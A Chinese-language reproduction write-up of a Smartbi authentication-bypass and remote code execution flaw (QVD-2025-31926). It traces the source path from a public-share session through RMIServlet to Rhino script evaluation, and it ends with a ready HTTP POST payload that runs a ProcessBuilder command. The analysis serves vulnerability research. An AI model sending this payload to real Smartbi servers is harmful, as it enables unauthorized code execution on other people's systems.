smartbi远程代码执行漏洞复现(QVD-2025-31926)
关键字:
QVD-2025-31926
XVE-2025-24290
CNNVD-2025-50548456
漏洞描述:
Smartbi存在权限验证缺陷,攻击者可通过已知的默认资源ID绕过身份验证获取合法Session,然后在后台调用任意js代码达到远程代码的效果
源码分析
权限验证缺陷
定位share_jsp.java

这块代码对应的是系统的中的分享资源的这一功能的
这一功能我们平时也会经常见到就是分享共享链接的文档供别人打开
主要定位在第一个try块代码中,这段代码的逻辑是根据传入的参数resid来判断对应的资源是否存在以及资源类型(公开还是非公开)
问题出在最后一句代码

当没有登录系统的用户访问一个公开资源的时候,他都会获得一个public的权限
当你访问这个资源的时候,响应包就会返回一个public的session,问题就出在session是可以访问后面rce的路径
后台rce
获取到后台用户的权限后即可通过调用特定类的特定方法传入特定参数后达到任意执行js代码
来到RMIServlet.class类中

在这一块代码中它支持用户可以外部传入className,methodName和params参数,并通过processExecute方法来执行对应类的对应方法
所以按照之前分析反序列化的思路来看下一步就是需要在本地找一个类的方法可以执行任意代码
找到的是ScheduleSDK类中的testSelfDefineTask方法

该方法传入的第四个参数script会被删除掉空格后设置到selfDefineTaskBO对象的templateScript属性中

看这个方法的最后发现他会把selfDefineTaskBO对象传入runTask方法中,跟入
在runTask方法中,currentTask就是我们传入的selfDefineTaskBO对象,而下面这段代码是提交任务到线程池执行

- 初始化任务执行上下文(包含任务基本信息、时间参数等)
- 提交任务到线程池异步执行(通过
Callable) - 处理任务执行过程中的各种异常(取消、执行错误等)
- 记录任务执行结果(成功状态、耗时、消息)
跟入call方法

在跟入executeV1方法,核心代码是这段
try {
// 执行 JS 脚本,返回结果
result = cx.evaluateString(scope, execScript, "cmd", 1, (Object)null);
} catch (RhinoException var24) {
// 处理脚本执行异常(如语法错误、运行时错误)
int line = var24.lineNumber(); // 错误行号
int col = var24.columnNumber(); // 错误列号
String txt = var24.getCause() == null ? var24.getMessage() : var24.getCause().getMessage();
// 构建详细错误消息(包含位置信息)
String errMsg = StringUtil.replaceLanguage("${Schedule_Run_Script_Error}", locale) + txt + ...;
log.error(var24.getMessage(), var24);
throw (new SmartbiException(CommonErrorCode.DECLARE_METHOD_ERROR, var24)).setDetail(errMsg);
}

execscript就是最初传入的script参数,最终达到一个执行任意js代码
payload:
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=xxx; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1754881386
Connection: keep-alive
className=ScheduleSDK&methodName=testSelfDefineTask¶ms=["1","1","1","(new Packages.java.lang.ProcessBuilder(\"calc.exe\")).start();","admin",""]
//JSESSIONID内容需要自己获取
漏洞复现:


浙公网安备 33010602011771号